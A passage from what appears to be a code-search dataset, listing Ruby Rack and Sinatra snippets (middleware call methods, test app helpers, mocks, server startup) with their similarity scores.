"def call(env)\n return @app.call(env) unless self.class.instrumented?\n\n method = env[\"REQUEST_METHOD\"]\n\n tags = {\n :component => \"rack\",\n :\"span.kind\" => \"server\",\n :\"http.method\" => method,\n :\"http.url\" => env[\"REQUEST_URI\"]\n }\n\n scope = OpenTracing.global_tracer.start_active_span(method, :tags => tags)\n span = scope&.span\n\n return @app.call(env) if span.nil?\n\n env[\"rack.span\"] = span\n\n @app.call(env).tap do |status_code, _headers, _body|\n span.set_tag(\"http.status_code\", status_code)\n rails_controller = env[\"action_controller.instance\"]\n route = \"#{env['REQUEST_METHOD']} #{rails_controller.controller_name.camelcase}.#{rails_controller.action_name}\" if rails_controller\n span.operation_name = route if route\n end\n rescue StandardError => e\n span&.set_tag(\"error\", true)\n span&.log_kv(:event => \"error\",\n :\"error.kind\" => e.class.to_s,\n :\"error.object\" => e,\n :message => e.message,\n :stack => e.backtrace.join(\"\\n\"))\n\n raise\n ensure\n scope&.close\n end",
"def app\n Sinatra::Application\nend",
"def app\n Sinatra::Application\nend",
"def app\n Sinatra::Application\nend",
"def app\n Sinatra::Application\nend",
"def app\n Sinatra::Application\nend",
"def app\n Sinatra::Application\nend",
"def app\n Sinatra::Application\nend",
"def call(env)\n t1 = Time.new\n log = LogHelper.logger\n\n begin\n req = Rack::Request.new(env)\n # Detecting method and reject other than GET method\n body = req.body.read\n log.debug(\"METHOD: #{req.request_method}\")\n log.debug(\"params: #{req.params.inspect}\")\n log.debug(\"path / pathInfo: [#{req.path}] [#{req.path_info}]\")\n\n if req.request_method != 'GET' then\n raise ExceptionHelper.notAcceptedException(\"Invalid HTTP Method\")\n end\n \n # Look for in the map an executes the code\n if (@epMap.has_key?(req.path_info)) then\n ep = @epMap[req.path_info]\n else\n ep = EntryPointBaseClass.new()\n end\n out = ep.execute(req)\n t2 = LogHelper.elapsedTime(t1)\n st = Time.new\n sts = \"#{st.to_i}.#{st.nsec}\"\n meta = {\n \"serverTime\" => sts,\n \"delta\" => t2,\n \"version\" => SERVER_CODE_VERSION,\n \"compatibility\" => SERVER_CODE_COMPATIBILITY\n }\n out[\"meta\"] = meta \n outJson = Oj.dump(out)\n \n # Return JSON output\n [\n 200, \n { 'Content-Type' => 'application/json' },\n [ outJson ]\n ]\n rescue ServerException => e\n log.error(\"catch E (#{e.to_s})\\n #{LogHelper.inspectBacktrace(e.backtrace, 500)}\") \n log.info(\"json out: #{e.to_json.inspect}\")\n LogHelper.elapsedTimeOnError(t1)\n [\n 200,\n { \"Content-Type\" => \"application/json\" },\n [ e.to_json ]\n ]\n rescue Exception => e\n log.error(\"catch E (#{e.to_s})\\n #{LogHelper.inspectBacktrace(e.backtrace, 500)}\") \n log.info(\"json out: #{ExceptionHelper.internalErrorException().to_json.inspect}\")\n LogHelper.elapsedTimeOnError(t1)\n [\n 200,\n { \"Content-Type\" => \"application/json\" },\n [ ExceptionHelper.internalErrorException().to_json ]\n ]\n end\n end",
"def make_request(action, params = {})\n path = params[:path] || \"/\"\n method = params[:method] || \"post\"\n env = Rack::MockRequest.env_for(path, params: params.except(:path).except(:method), method: method)\n status, headers, body = described_class.action(action).call(env)\n @response = ActionDispatch::TestResponse.new(status, headers, body)\n @controller = body.instance_variable_get(:@response).request.env['action_controller.instance']\nend",
"def app\n @rack_app ||= Rack::Builder.parse_file('config.ru').first\nend",
"def app\n Sinatra::Application\n end",
"def request(action = :echo)\n @request = Rack::MockRequest.new(RocketPants::CacheMiddleware.new(controller_class.action(action)))\n end",
"def stack\n # map your apps here...\n map \"/hello\" do\n run HelloWorld.new\n end\n\n map \"/lobster\" do\n require 'rack/lobster'\n use Rack::ShowExceptions\n use Rack::Auth::Basic, \"Lobster 2.0\" do |username, password|\n 'secret' == password\n end\n run Rack::Lobster.new \n end\n\nend",
"def call(*args)\n if request = rack_request(*args)\n rack_response base_call(request: request)\n else\n base_call(*args)\n end\n end",
"def mas_net_http_post(obj_stubs = {})\n request = Spec::Mocks::Mock.new(Net::HTTP::Post)\n Net::HTTP::Post.stub!(:new).and_return(request)\n obj_stubs.each do |method, value|\n request.stub!(method).and_return(value)\n end\n request\nend",
"def call(env)\n logger = env[\"rack.logger\"]\n\n began_at = Time.now\n\n log_request_begin(logger, env)\n status, header, body = @app.call(env)\n log_exception(logger, env['sinatra.error']) if env['sinatra.error']\n log_request_end(logger, status, header, began_at)\n\n return [status, header, body]\n rescue Exception => e\n log_exception(logger, e)\n raise\n end",
"def call(env)\n # Set the trace context (e.g. distributed tracing)\n if configuration[:distributed_tracing] && tracer.provider.context.trace_id.nil?\n context = HTTPPropagator.extract(env)\n tracer.provider.context = context if context.trace_id\n end\n\n tracer.trace(\n Ext::SPAN_REQUEST,\n service: configuration[:service_name],\n span_type: Datadog::Ext::HTTP::TYPE_INBOUND,\n # this is kept nil until we set a correct one (either in the route or with a fallback in the ensure below)\n # the nil signals that there's no good one yet and is also seen by profiler, when sampling the resource\n resource: nil,\n ) do |span|\n begin\n Sinatra::Env.set_datadog_span(env, @app_instance, span)\n\n response = @app.call(env)\n ensure\n Sinatra::Env.request_header_tags(env, configuration[:headers][:request]).each do |name, value|\n span.set_tag(name, value) if span.get_tag(name).nil?\n end\n\n request = ::Sinatra::Request.new(env)\n span.set_tag(Datadog::Ext::HTTP::URL, request.path)\n span.set_tag(Datadog::Ext::HTTP::METHOD, request.request_method)\n span.set_tag(Ext::TAG_SCRIPT_NAME, request.script_name) if request.script_name && !request.script_name.empty?\n\n span.set_tag(Ext::TAG_APP_NAME, @app_instance.settings.name)\n\n # If this app handled the request, then Contrib::Sinatra::Tracer OR Contrib::Sinatra::Base set the\n # resource; if no resource was set, let's use a fallback\n span.resource = env['REQUEST_METHOD'] if span.resource.nil?\n\n # TODO: This backfills the non-matching Sinatra app with a \"#{method} #{path}\"\n # TODO: resource name. This shouldn't be the case, as that app has never handled\n # TODO: the response with that resource.\n # TODO: We should replace this backfill code with a clear `resource` that signals\n # TODO: that this Sinatra span was *not* responsible for processing the current request.\n rack_request_span = env[Datadog::Contrib::Rack::TraceMiddleware::RACK_REQUEST_SPAN]\n span.resource = rack_request_span.resource if rack_request_span && rack_request_span.resource\n\n if response\n if (status = response[0])\n sinatra_response = ::Sinatra::Response.new([], status) # Build object to use status code helpers\n\n span.set_tag(Datadog::Ext::HTTP::STATUS_CODE, sinatra_response.status)\n span.set_error(env['sinatra.error']) if sinatra_response.server_error?\n end\n\n if (headers = response[1])\n Sinatra::Headers.response_header_tags(headers, configuration[:headers][:response]).each do |name, value|\n span.set_tag(name, value) if span.get_tag(name).nil?\n end\n end\n end\n\n # Set analytics sample rate\n Contrib::Analytics.set_sample_rate(span, analytics_sample_rate) if analytics_enabled?\n\n # Measure service stats\n Contrib::Analytics.set_measured(span)\n end\n end\n end",
"def run opts = {}\n server = opts.delete(:server)\n (server && Rack::Handler.const_defined?(server)) || (server = HTTP__DEFAULT_SERVER)\n\n port = opts.delete(:port)\n opts[:Port] ||= port || HTTP__DEFAULT_PORT\n\n host = opts.delete(:host) || opts.delete(:bind)\n opts[:Host] = host if host\n\n Rack::Handler.const_get(server).run app, opts\n end",
"def run\n configure_middleware(rack_builder = Rack::Builder.new)\n rack_builder.run(rack_app)\n\n # Choose and start a Rack handler\n @context.running_server = available_server\n @context.running_server.run rack_builder.to_app, :Host => @context.host, :Port => @context.port do |server|\n [:INT, :TERM].each {|sig| trap(sig) { (server.respond_to? :stop!) ? server.stop! : server.stop } }\n puts \"A#{'n' if @environment =~ /\\A[aeiou]/} #{@environment} Tanuki appears! Press Ctrl-C to set it free.\",\n \"You used #{@context.running_server.name.gsub(/.*::/, '')} at #{@context.host}:#{@context.port}.\"\n end\n end",
"def call(env)\n resp = Rack::Response.new\n req = Rack::Request.new(env)\n\n if req.path.match(/items/)\n item_name = req.path.split(\"/items/\").last #uses regex to split and remove the folder\n #remember that split needs to be on a string\n #ex; turn /songs/Sorry into Sorry\n item = @@items.find{|i| i.name == item_name}\n if item\n resp.write item.price #price and name are the two attributes of the item class\n else\n resp.write \"Item not found\"\n resp.status = 400\n end\n else #returns 404 status code for a bad route\n resp.status = 404\n resp.write \"Route not found\"\n end\n\n resp.finish\n end",
"def app\n\tSinatra::Application.new\nend",
"def call(env)\n @app ||= build_rack_app\n @app.call(env)\n end",
"def mock_response(status_code, body_str='')\n response_class = Net::HTTPResponse::CODE_TO_OBJ[status_code.to_s]\n response = response_class.new('1.1', status_code.to_s, '')\n response.instance_eval(\"def body; #{body_str.inspect}; end\")\n response\nend",
"def start_server\n if ENV['RACK_ENV'] == 'production'\n run APP\n else\n Rack::Server.start(\n app: APP,\n Port: $PORT\n )\n end\nend",
"def stub_non_ssl\r\n request.stub!(:ssl?).and_return(false)\r\n request.stub!(:port).and_return(80)\r\nend",
"def url_test\n response = HTTParty.get('http://www.baidu.com')\n res = Rack::Response.new\n res.write response.body\n res.finish\n end",
"def call env\r\n raw = nil\r\n self.class.env = env\r\n #\r\n # match route\r\n # support : String, Regexp\r\n # rel - nil| body| [status,{header},[bodys]]\r\n #\r\n req = Rack::Request.new env\r\n self.class.params = req.params\r\n method = env[\"REQUEST_METHOD\"].downcase\r\n settings[:route][method.to_sym].each do |p|\r\n case p[:path]\r\n when String\r\n if env[\"REQUEST_PATH\"] == p[:path]\r\n raw = p[:proc].call\r\n end\r\n when Regexp\r\n if env[\"REQUEST_PATH\"] =~ p[:path]\r\n if !p[:extend_key].nil? # analize extend_params like /hehe/:id\r\n req.params[p[:extend_key].to_sym] = $1\r\n end\r\n raw = p[:proc].call\r\n end\r\n else\r\n throw :illegal_route\r\n end\r\n end\r\n #\r\n # anaylize raw\r\n # nil - return not_found\r\n # Array - return raw if match [fixnum, hash, array]\r\n # other - return [200, {}, [other.to_s]]\r\n #\r\n status = 200\r\n header = {}\r\n bodys = \"\"\r\n if raw.nil?\r\n not_found\r\n else\r\n bodys = raw\r\n if Array === raw\r\n status = raw[0]\r\n header = raw[1]\r\n bodys = raw[2]\r\n end\r\n if settings[:json] == true\r\n bodys = bodys.to_json\r\n end\r\n if Array === bodys\r\n bodys = bodys.map{|e| e.to_s}\r\n [status, header, bodys]\r\n else\r\n [status, header, [bodys.to_s]]\r\n end\r\n end\r\n end",
"def call!(env)\n @env = env.dup\n status, @headers, response = @app.call(@env)\n if processable_request?\n @headers.delete('Content-Length')\n response = Rack::Response.new(\n nice_typography(response.respond_to?(:body) ? response.body : response.to_s),\n status,\n @headers\n )\n response.finish\n response.to_a\n else\n [status, @headers, response]\n end\n end",
"def do_something_used_in_sinatra_app(var) end",
"def mock_res(req)\n Waxx::Res.new(\"\", 200, Waxx::Server.default_response_headers(req, \"txt\"), [], [], [])\n end",
"def setup\n @env = { Rack::Session::Abstract::ENV_SESSION_KEY => '123456', Rack::Session::Abstract::ENV_SESSION_OPTIONS_KEY => Rack::Session::Abstract::ID::DEFAULT_OPTIONS}\n SmartSessionApp.test_proc = nil\n end",
"def respond_with(status=200, headers={}, body=['Hello World'], &bk)\n @app = FakeApp.new(status, headers, body, bk)\n end",
"def call(env)\n request = ActionDispatch::Request.new(env)\n username, password = username_password env\n @route_set = ActionDispatch::Routing::RouteSet.new\n\n my_short_list = short_list(username, password, request.request_method, request.url).all.to_a.reverse\n headers = downcased_headers(env)\n body = request.body.read\n request.body.rewind\n setup_router my_short_list, request, headers, body\n rack_app.call(env)\n end",
"def call(env)\n @request = Rack::Request.new(env)\n @params = @path_params.merge(@request.params.symbolize_keys)\n process_response(instance_exec(self, params, request, &@block))\n end",
"def app\n # Load the application defined in config.ru\n Rack::Builder.parse_file(\"config.ru\").first\nend",
"def app\n @app ||= Sinatra.new Questionnaire::Application\nend",
"def mock_request(script = \"test\" , headers = {})\n unless @mock_request\n @mock_request = mock(\"MockAgiRequest[script=#{script}]\")\n @mock_request.stub!(\n :extension => \"test\",\n :priority => \"1\",\n :context => \"default\",\n :uniqueId => \"123456789.7\", \n :language => \"en\",\n :channel => \"SIP/127.0.0.1-00000003\",\n :type => \"SIP\",\n :script => script,\n :requestURL => \"agi://fake_test_host:1234/#{script}\") #[?param1=value1¶m2=value2]. \"\n end\n @mock_request\nend",
"def call env #:nodoc:\n return @app.call(env) unless should_handle?(env)\n\n # Wrap request and response\n env['rack.input'].rewind\n env['rack-amf.request'] = RocketAMF::Envelope.new.populate_from_stream(env['rack.input'].read)\n env['rack-amf.response'] = RocketAMF::Envelope.new\n\n # Call handle on \"inheriting\" class\n handle env\n\n # Calculate length and return response\n response = env['rack-amf.response'].to_s\n [200, {\"Content-Type\" => APPLICATION_AMF, 'Content-Length' => response.length.to_s}, [response]]\n end",
"def app\n # Load the application defined in config.ru\n Rack::Builder.parse_file('config.ru').first\nend",
"def app\n # Load the application defined in config.ru\n Rack::Builder.parse_file('config.ru').first\nend"
] |
[
"0.7617458",
"0.7456221",
"0.7456221",
"0.7456221",
"0.72691345",
"0.7072761",
"0.7035643",
"0.7035643",
"0.7035643",
"0.7035643",
"0.69378203",
"0.6887972",
"0.6687272",
"0.66487974",
"0.6629535",
"0.6596757",
"0.65778905",
"0.6520177",
"0.6467522",
"0.634496",
"0.6322505",
"0.62525886",
"0.62391496",
"0.6213416",
"0.6213144",
"0.61926895",
"0.61729634",
"0.6172634",
"0.61276704",
"0.6123418",
"0.6123418",
"0.6112759",
"0.61029875",
"0.6098423",
"0.6052113",
"0.6029156",
"0.6022995",
"0.59745574",
"0.5969946",
"0.59632283",
"0.5894783",
"0.5887354",
"0.58819085",
"0.58796316",
"0.587756",
"0.5875635",
"0.5857066",
"0.5836128",
"0.5827487",
"0.5824847",
"0.58076596",
"0.57945114",
"0.57944876",
"0.5792775",
"0.5787927",
"0.5781621",
"0.5781621",
"0.5776651",
"0.5768729",
"0.5765837",
"0.57632965",
"0.5755868",
"0.5755868",
"0.5755868",
"0.5755868",
"0.5755868",
"0.5755868",
"0.5755868",
"0.5752646",
"0.5745125",
"0.57411635",
"0.574045",
"0.57348233",
"0.57166135",
"0.5710512",
"0.5709083",
"0.5707264",
"0.57026494",
"0.569588",
"0.56955796",
"0.56786346",
"0.56635165",
"0.56545305",
"0.5654448",
"0.5652243",
"0.5640666",
"0.5636245",
"0.56300044",
"0.5628232",
"0.5621821",
"0.56188285",
"0.56147563",
"0.5611445",
"0.56088674",
"0.55709493",
"0.55688703",
"0.5565528",
"0.55641925",
"0.55622643",
"0.55566025",
"0.55566025"
] |
0.0
|
-1
|
++ Creates a new instance, storing the Model name to which this instance it refers to. The name must be a String (not +nil+). No checks are performed to verify that the +table_name+ corresponds to an actual table on the database. === Supported options: :email_on_create => when true, an email for the first defined Admin will be delivered to notify the creation performed by the user associated to the model (if any). :email_on_destroy => same as above, but for a destroy action.
|
def initialize(table_name, options = {})
raise ArgumentError, 'UserContentLogger requires at least a table name as a parameter!' unless table_name.instance_of?(String)
@table_name = table_name
@log_filename = Rails.root.join(LOG_DESTINATION, "#{LOG_BASENAME}#{@table_name}.log")
@email_on_create = (options[:email_on_create] == true)
@email_on_destroy = (options[:email_on_destroy] == true)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create(name)\n self.new(name)\n end",
"def create_model(ns, model_name, options)\r\n model = super # create the model with defaulted model options\r\n create_timetable(model, options) if options[:create_timetable] == true\r\n model\r\n end",
"def create(name, table)\n Utils.model(name).new(table.hashes.first).tap do |document|\n document.save\n end\n end",
"def create(name, email)\n new(name, email).save\n end",
"def create\n database.command({ :create => name }.merge(options))\n end",
"def create_table!\n raise InvalidTableDefinition.new \"#{ self.name } has invalid table configuration\" unless model_table_config_is_valid?\n TinyDyno::Adapter.create_table(create_table_request)\n end",
"def instantiate(name, table)\n Utils.model(name).new(table.hashes.first)\n end",
"def create\n self.id = connection.insert(\n \"INSERT INTO #{self.class.table_name} \" +\n \"(#{quoted_column_names.join(', ')}) \" +\n \"VALUES(#{attributes_with_quotes.values.join(', ')})\",\n \"#{self.class.name} Create\",\n self.class.primary_key, self.id\n )\n \n @new_record = false\n end",
"def create(model)\n data = model.attributes\n record = store.create(data, table: table_name)\n model.attributes = record\n end",
"def create(model={})\n create_new_model(model, :create)\n end",
"def create!(*args, &block)\n @model_class.create!(*args, &block)\n end",
"def create_by_name(name)\n self.new.tap do |o|\n o.name = name # ambos sirven\n end\n end",
"def new_model(name, template = nil)\n template_ole = template ? template.ole_obj : app.ole_obj.ActiveDesignFile.DefaultModelReference\n el = app.ole_obj.ActiveDesignFile.Models.Add(template_ole, name, \"Added \")\n model_from_ole(el).activate\n end",
"def create_model\n app = options[:app]\n return unless valid_model_for?(app)\n\n include_component_module_for(:test)\n migration_name = \"create_#{name.pluralize.underscore}\"\n apply_default_fields fields\n create_model_file(name, :fields => fields, :app => app)\n generate_model_test(name) if test?\n create_model_migration(migration_name, name, fields) unless options[:skip_migration]\n end",
"def create_table\n if TinyDyno::Adapter.table_exists?(table_name: self.table_name)\n return true\n end\n raise InvalidTableDefinition.new \"#{ self.name } has invalid table configuration\" unless model_table_config_is_valid?\n TinyDyno::Adapter.create_table(create_table_request)\n end",
"def create\r\n if self.id.nil? && connection.prefetch_primary_key?(self.class.table_name)\r\n self.id = connection.next_sequence_value(self.class.sequence_name)\r\n end\r\n\r\n quoted_attributes = attributes_with_quotes\r\n\r\n statement = if quoted_attributes.empty?\r\n connection.empty_insert_statement(self.class.table_name)\r\n else\r\n \"INSERT INTO #{self.class.quoted_table_name} \" +\r\n \"(#{quoted_column_names.join(', ')}) \" +\r\n \"VALUES(#{quoted_attributes.values.join(', ')})\"\r\n end\r\n\r\n self.id = connection.insert(statement, \"#{self.class.name} Create\",\r\n self.class.primary_key, self.id, self.class.sequence_name)\r\n\r\n @new_record = false\r\n id\r\n end",
"def set_model_name(name)\n class_eval <<-RUBY\n def self.model_name\n @model_name ||= ActiveModel::Name.new(self, nil, #{name.inspect})\n end\n RUBY\n end",
"def define_and_validate(options={})\n @model = define_model :user, :username => :string, :email => :string, :public => :boolean, :deleted_at => :timestamp do\n validates_uniqueness_of :username, options\n end\n\n # Create a model\n User.create(:username => 'jose', :deleted_at => 1.day.ago, :public => false)\n\n validate_uniqueness_of(:username)\n end",
"def create(options = {})\n row = self.new(options)\n row.save\n row\n end",
"def create(options = {})\n row = self.new(options)\n row.save\n row\n end",
"def initialize(model, name, options={}, &block)\n @name = name\n @data_type = model.columns_hash[name.to_s].try(:type) || :string\n @show_in_details = true\n @show_in_table = true\n @show_in_filters = true\n @editable = true\n @formatter = data_type\n @display_name = name.to_s.humanize\n options.each {|k,v| send(k,v) }\n if block_given?\n @editable = false\n @show_in_filters = false\n @display_proc = block\n end\n @association = model.reflect_on_all_associations.find{|i| i.foreign_key.to_sym == name}\n end",
"def roomer_initialize_model!\n Roomer.register_model(self)\n @roomer_original_table_name = @table_name\n roomer_set_table_name_prefix\n roomer_ensure_table_name_prefix\n end",
"def name\n model_name\n end",
"def create_table!(*args, &block)\n drop_table(model.table_name)\n create_table(*args, &block)\n end",
"def initialize(name)\n @name = name\n @klass = name.classify\n @table_name = name.tableize\n @custom_table_name = resolve_custom_table_name \n @fields = {}\n @link_fields = {}\n @fields_registered = false\n self\n end",
"def create(attrs = {})\n instance = self.new(attrs)\n instance.save\n instance\n end",
"def create_record(model, *args)\n record = new_record(model, *args)\n record.save!\n record.reload\n record\n end",
"def generate_model\n invoke \"active_record:model\", [name], :migration => false unless model_exists? && behavior == :invoke\n end",
"def create\n @model_name = ModelName.new(model_name_params)\n\n respond_to do |format|\n if @model_name.save\n format.html { redirect_to @model_name, notice: 'Model name was successfully created.' }\n format.json { render :show, status: :created, location: @model_name }\n else\n format.html { render :new }\n format.json { render json: @model_name.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_model(name = :foo, &block)\n table_name = \"#{name}_#{rand(1000000)}\"\n @table_names ||= []\n @table_names << table_name\n\n model = Class.new do\n (class << self; self; end).class_eval do\n define_method(:name) { \"MongoidTest::#{name.to_s.capitalize}\" }\n define_method(:to_s) { self.name }\n end\n end\n\n model.class_eval do\n include Mongoid::Document\n store_in collection: table_name\n\n field :state, :type => String\n end\n model.class_eval(&block) if block_given?\n model\n end",
"def instance!(name)\n create_db(name) rescue nil\n instance(name)\n end",
"def call(_obj, args, _ctx)\n Customer.create!(\n name: args[:name],\n email: args[:email],\n )\n end",
"def define_class(config, table_name = nil)\n Class.new ActiveRecord::Base do\n establish_connection config\n self.abstract_class = true\n cattr_accessor :model_name\n \n if table_name\n self.table_name = table_name\n self.model_name = ActiveModel::Name.new(self, nil, table_name.classify)\n end \n \n end\n end",
"def create (name, attrs = {})\n factory_by_name(name).create(attrs)\n end",
"def create (name, attrs = {})\n factory_by_name(name).create(attrs)\n end",
"def create\n # Submit de new, crea nueva instance en DB.\n end",
"def model_name\n if defined?(ActiveSupport::ModelName)\n ActiveSupport::ModelName.new(name)\n else\n ActiveModel::Name.new(self)\n end\n end",
"def create\n logger.debug \"#{params[:action].to_s} called in #{self.class}: model=#{@model_class}, request.format=#{request.format}, request.content_type=#{request.content_type}, params=#{params.inspect}\" if self.debug\n\n if self.use_permitters\n #authorize! :create, @model_class\n allowed_params = permitted_params\n elsif respond_to? @create_model_singular_name_params_sym\n allowed_params = send(@create_model_singular_name_params_sym)\n elsif respond_to? @model_singular_name_params_sym\n allowed_params = send(@model_singular_name_params_sym)\n else\n allowed_params = params\n end\n\n @value = @model_class.new(allowed_params)\n authorize! :create, @value\n @value.save\n instance_variable_set(@model_at_singular_name_sym, @value)\n render_or_respond(false, :created)\n rescue self.rescue_class => e\n handle_or_raise(e)\n end",
"def create_model(name, &block)\n name = name.to_s.tableize\n raise \"Model name '#{name}' is not unique\" if site.model_types.key?(name)\n \n # create a new instance of model\n child = self.class.new(site)\n child.name = name.camelcase.singularize\n child.parent = self\n \n # inherited fields\n fields.each do |name, field|\n child.set(name, get(name)) if field.inherited?\n end\n \n # insert the model in to the site models list\n class_name = name.classify\n site.model_types[name] = child.id\n site.model_plural_names[class_name] = name\n site.save\n \n # append the model to ancestor descendant lists (these are used in queries to\n # restrict the type of records returned, e.g pages.all => _model: ['Page', ...]\n child.tap do |child|\n child.add_descendant(child)\n child.instance_exec(child, &block) if block_given?\n child.save\n end\n end",
"def class_with_model_name # :nodoc:\n self.class_without_model_name.tap do |c|\n c.instance_variable_set('@_model_name', @model_name)\n (class << c; self; end).send(:define_method,:model_name) do\n model_namer = Struct.new(:name).new(self.instance_variable_get('@_model_name'))\n ActiveModel::Name.new(model_namer)\n end\n end\n end",
"def create!(options = {})\n self.fail_validate!(self) unless self.create(options)\n end",
"def new_user(name)\n User.create(name: name)\nend",
"def create(name, args={}) # :nodoc:\n super(name.downcase(), args)\n end",
"def create_model\n template 'model.rb', \"app/models/#{model_path}.rb\" unless @skip_model\n end",
"def create_models\n @name = name.singularize.downcase\n @name_plural = @name.pluralize\n @attributes = attributes\n template(\"./templates/model.erb\", \"./models/#{@name}.rb\")\n end",
"def name\n model_name\n end",
"def name\n model_name\n end",
"def model_to_create(attributes)\n Sufia.config.model_to_create.call(attributes)\n end",
"def create(attrs = {})\n record = new(attrs)\n record.save\n record\n end",
"def create(name, email)\n # TODO: Instantiate a Contact, add its data to the 'contacts.csv' file, and return it.\n results = connection.exec(\"SELECT * FROM contacts ORDER BY id DESC LIMIT 1;\")\n results.each do |row|\n each_info = Contact.new(row['name'], row['email'], row['id'])\n puts \"ID #{row['id']}: #{row['name']} #{row['email']}\".blue\n end\n puts \"The contact was created successfully.\".green\n end",
"def create_record(model, *args)\n record = new_record(model, *args)\n record.save!\n record.reload\n record\n end",
"def perform(name, email, password)\n User.create(\n name: name,\n email: email,\n password: password,\n password_confirmation: password\n )\n end",
"def create_model\n unless @check_migration\n template 'models/model.rb', File.join('app/models', \"#{@plural_name}_image.rb\")\n end\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.to_s.downcase.pluralize\n end",
"def model_name\n model_name = options.fetch(:model_name) do\n ActiveSupport::Inflector.singularize(name.to_s)\n end\n\n Name.new(model_name.to_s)\n end",
"def initialize(model, name, options = {})\n super\n single = name.to_s.singularize\n @singular_name = options[:singular] || single.to_sym\n @attribute = options[:attribute] || single.foreign_key.to_sym\n @named_scope = options[:named_scope] || \"by_#{name}\".to_sym\n @model.named_scope @named_scope, lambda { |records| {:conditions => {@attribute => records}} }\n end",
"def create_table\n raise \"Need to implement abstract method.\" \n end",
"def create(tableName, args)\n now = Time.now \n # Pass table name and an array of Hashes. Later, test the last\n # array to see if its table options rather than column family spec.\n raise TypeError.new(\"Table name must be of type String\") \\\n unless tableName.instance_of? String\n # For now presume all the rest of the args are column family\n # hash specifications. TODO: Add table options handling.\n htd = HTableDescriptor.new(tableName)\n for arg in args\n if arg.instance_of? String\n htd.addFamily(HColumnDescriptor.new(arg))\n else\n raise TypeError.new(arg.class.to_s + \" of \" + arg.to_s + \" is not of Hash type\") \\\n unless arg.instance_of? Hash\n htd.addFamily(hcd(arg))\n end\n end\n @admin.createTable(htd)\n @formatter.header()\n @formatter.footer(now)\n end",
"def create\n\t\t@name = \"I am the Create action\"\n\tend",
"def create(params = {})\n model = new(params)\n model.save\n model\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def define_and_validate(options={})\n @model = define_model :user, :id => DataMapper::Types::Serial, :username => String, :email => String, :public => DataMapper::Types::Boolean, :deleted_at => DateTime do\n validates_is_unique :username, options\n end\n\n # Create a model\n User.create(:username => 'jose', :deleted_at => 1.day.ago, :public => false)\n\n validate_is_unique(:username)\n end",
"def create(name, email)\n # TODO: Instantiate a Contact, add its data to the 'contacts.csv' file, and return it.\n CSV.open(FILE, 'a') << [name, email]\n Contact.new(name,email,Contact.all.length + 1)\n end",
"def create\n columns = attribute_values\n values = columns.map{ |col| self.send(col) }\n quesiton_marks = (['?'] * columns.size).join(',')\n \n DBConnection.execute(<<-SQL, *values)\n INSERT INTO\n #{self.class.table_name}\n (#{columns.join(',')})\n VALUES\n (#{quesiton_marks}) \n SQL\n end",
"def create(options)\n new(options).create\n end",
"def new_permission_model(options)\n subject = options[:subject]\n subject_s = subject.to_s\n\n Class.new(ActiveRecord::Base) do\n self.table_name = options[:table]\n belongs_to options[:actor]\n\n # Only permissions relating to singular objects have a subject\n @has_subject = subject_s.singularize == subject_s\n class << self\n attr_reader :has_subject\n end\n\n belongs_to subject, options[:subject_options] if has_subject\n end\n end",
"def create(atts = {})\n rec = self.new(atts)\n rec.save && rec\n end",
"def create!\n end",
"def create!\n raise \"#{self.inspect} failed to save\" unless self.create\n end",
"def create\n check_fields\n sql = \"INSERT INTO #{table} VALUES (NULL,#{to_create_record_str})\"\n Database.transaction(sql)\n sql = \"SELECT id FROM #{table} WHERE #{to_find_id_str}\"\n @id = Database.execute(sql).last[0]\n @log.debug \"Record[#{self}] is added to Table[#{table}]\"\n end",
"def create_table_with_storing_name(table_name, options = {}, &block)\n @@table_name = table_name\n create_table_without_storing_name table_name, options, &block\n AirBlade::Migrations::SchemaDefinitions.foreign_keys = []\n end",
"def create(model_name,options={})\n # @TODO: this is another path that parallels the ModelFactory\n model_class = Metro::Models.find(model_name)\n mc = model_class.new options\n mc.scene = scene\n mc.window = window\n mc\n end",
"def create_table(name, &block)\n DB.drop_table? name if @opts.drop_tables?\n DB.create_table? name.to_sym, &block\n info \"Setup database table: #{name}\"\n end",
"def create_model_class(name, columns={}, &class_body)\n if name.is_a?(Hash) && name.size == 1\n class_name, superclass_name = *name.to_a.flatten\n else\n class_name, superclass_name = name, 'ActiveRecord::Base'\n end\n need_table = superclass_name.to_s == 'ActiveRecord::Base'\n\n table_name = class_name.to_s.underscore.pluralize\n if need_table\n ActiveRecord::Base.connection.create_table(table_name) do |table|\n columns.each do |column_name, column_type|\n table.send column_type, column_name\n end\n end\n end\n klass = Class.new(superclass_name.to_s.constantize, &class_body)\n Object.const_set(class_name, klass)\n end",
"def create_table(*args, &block)\n db.create_table(name,*args, &block)\n end",
"def create\n # TODO: implement create\n end",
"def create_table(name)\n if ! db.tables.include?(name.to_sym)\n db.create_table name do\n String :name, :size => 15\n Float :freq\n index :freq\n end\n end\n end",
"def model_name\n @_model_name ||= ActiveModel::Naming.param_key(model.new)\n end",
"def create\n name_to_const.new\n end",
"def initialize(model, name, type = nil)\n super name.to_s\n @model = model\n @type = type.to_sym if type\n end",
"def model_name\n self.class.model_name\n end",
"def model_class\n table_name.classify.constantize\n end",
"def generate_model\n invoke \"active_record:model\", [name], :migration => false unless model_exists? && behavior == :invoke\n if store_in == 'active_record'\n invoke \"active_record:model\", [ACTIVE_RECORDABLE], :migration => false unless active_recordable_exists? && behavior == :invoke\n end\n end",
"def new_model\n unless @model\n @model = create_model\n attach_model\n end\n @model\n end",
"def initialize table_name\n @table_name = table_name\n\n # Retrieves or Create the ActiveRecord::Base subclass that will match the table.\n table = meta_def_ar_class\n\n # Handle ActiveRecord::Base delegation, to ensure painless associations\n self.class.delegate_to table\n\n # Establishes a connection to the database\n table.connect unless table.connected?\n end",
"def new\n @entry = @class.new\n @name = @class.name.underscore.humanize.split.map(&:capitalize).join(' ')\n end",
"def before_create \n self.name = name.downcase.strip.squeeze(\" \")\n end",
"def create_user(input)\n User.create(name: input)\n end",
"def create(table_name, attributes)\n\n # Perform the creation and returns the id\n Operations::Create.new(@rforce_binding, table_name, attributes).run()\n\n end",
"def create\n raise \"Not supported\"\n end",
"def create\n end",
"def create_name # :prefetch: :norobots:\n store_location\n pass_query_params\n if request.method != :post\n init_create_name_form\n else\n @parse = parse_name\n @name, @parents = find_or_create_name_and_parents\n make_sure_name_doesnt_exist\n create_new_name\n redirect_to_show_name\n end\n rescue RuntimeError => err\n reload_create_name_form_on_error(err)\n end",
